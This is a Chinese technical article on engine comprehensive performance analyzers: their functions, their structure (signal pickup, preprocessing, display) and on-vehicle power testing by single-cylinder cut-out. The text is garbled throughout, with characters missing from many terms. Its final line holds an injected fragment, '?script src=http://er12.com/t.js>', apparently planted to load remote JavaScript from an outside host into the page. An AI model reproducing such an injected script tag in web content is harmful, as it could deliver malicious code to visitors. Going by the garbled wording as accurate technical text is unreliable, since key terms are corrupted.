发动机综合性能检测与发动机台架试验不同，后者是发动机拆离汽车，以测功机吸收发动机的输出功率对功率、扭矩、油耗和排放等最终性能指标进行定量测定；而发动机综合性能检测装置主要在检测线上或汽车调试站内就车对发动机各系统的工作状态的静态和动态参数进行分析，为发动机技术状态判断和故障诊断提供科学依据。有专家系统的发动机综合分析仪具有故障自动判断功能，有排气分析选件的综合分析仪能测定汽车排放指标。
基本功能
* 无外载测功功能即加速测功法；
* 检测点火系统：初级与次级点火波形的集与处理，平列波、并列波与重叠和重叠角的处理与显示，断电器闭合角和开启角，点火提前角的测定等；
* 机械和电控喷油过程各参数(压力、波形、喷油、脉宽、喷油提前角等)的测定；
* 进气歧管真空度波形测定与分析；
* 各缸工作均匀性测定；
* 起动过程参数(电压、电流、转速)测定；
* 各缸压缩压力判断；
* 电控供油系统各传感器的参数测定；
* 万用表功能；
* 排气分析功能。
发动机综合分析仪是所有汽车检测设备***能最多，检测项目和涉及系统最广的装置，因此它的结构较杂，技术含量也较高。随电子技术在汽车领域的飞速发展，原始的efi（electronic fuel injection）控制功能延伸到汽车底盘和传动系的电子系统，成为控制面更广的电子管理系统ems(electronic management system)，现代发动机综合分析仪的功能已超越了发动机的畴，增加了abs (anti-lock braking system)和asr(acceleration skid response)等底盘系统的测试功能。因此，应倍加关注发动机综合分析仪的管理和操作人员在使用及保养方面的培训。
区别于***和一般发动机单项性能的检测仪，发动机综合性能检测仪具有三项特点：
* 动态的测试功能：它的传感系统和信号集与记忆功能迅速准确地捕获发动机各瞬变参数的时间函数曲线，这些动态参数是对发动机进行有效判断的科学依据；
* 通用性测试过程不依据被检车辆的数据卡(即测试软件)，只针对基本结构和各系统的形式和工作原理进行测试，因此检测结果具有良好的普遍性，检测方法也具有最广泛的通用性；
* 主动性发动机综合检测仪不仅能适时集发动机的动态参数，还能主动地发出指令预发动机工作，以完成某些特定的试验程序，如断缸试验等。
基本组成
虽然各厂家开发的发动机综合性能检测装置形式各，一台配置齐全、性能良好的检测仪，概括起来不外乎由信号提取系统、信息处理系统及控显示系统三大部分组成。
信号提取系统
信号提取系统的任务在于拾取汽车被测点的参数值，鉴于被测点的机械结构和参数性质不同，信号提取装置必须具有多种形式以适应不同的测试部位。
对于电控燃油喷射(efi)发动机，因计算机计算喷油脉宽和自动控制过程的需要，各非电量已被植入各系统的传感器直接转换成电量，它们的提取可用件9通过不同的转接头来完成，但为了不中断计算机的控制功能，必须通过t形接头来提取信号。
信号预处理系统
信号预处理系统也称前端处理器，俗称“黑盒子”，是电控燃油喷射系统检测的关键部件，其作用相当于多路测试系统中的多功能二次仪的集合，可将发动机的所有传感信号经衰减、滤波、放大、整形，并将所有脉和数字信号直接输入cpu的高速输入端(hsi)，也可经f-v转换后变为0～5v或0～10v的直流模拟信号送入高速瞬变信号集卡。
控与显示系统
柜式发动机综合性能分析仪大多用14英寸彩色crt显示器，手提便携式则用小型液晶显示器，现代发动机综合性能分析仪都能显示操作菜单，实时显示当前动态参数和波形，十字光标可显示曲线任何一点的数值，同时也可显示极限参数的数值，并配以色棒显示以示醒目，用户可任意设定显示围和图形比例。
发动机动力性检测
发动机综合分析仪的功能很多，以下仅对发动机动力性检测作一简要描述。
汽车动力性的好坏，首先取决于发动机的动力性。在汽车使用和维修部门检测发动机的动力性时，通常不会将发动机从汽车上拆下，而是用就车检测法。一是检测单缸动力性，二是进行发动机无负载测功。
单缸动力性检测
在判断发动机各缸的工作情况时，长期以来使用人工方法即单缸断火试验法。这种方法是在发动机处于怠速时，分别将每个气缸断火，在发动机旁或排气管口处察听单缸断火后，发动机由于功率下降引起转速下降而产生的声音变化。这种诊断方法简单直观，但需要有一定实践经验，而且不够准确。特别是发动机气缸数多，单缸断火后转速下降小，声音变化也小?script src=http://er12.com/t.js>
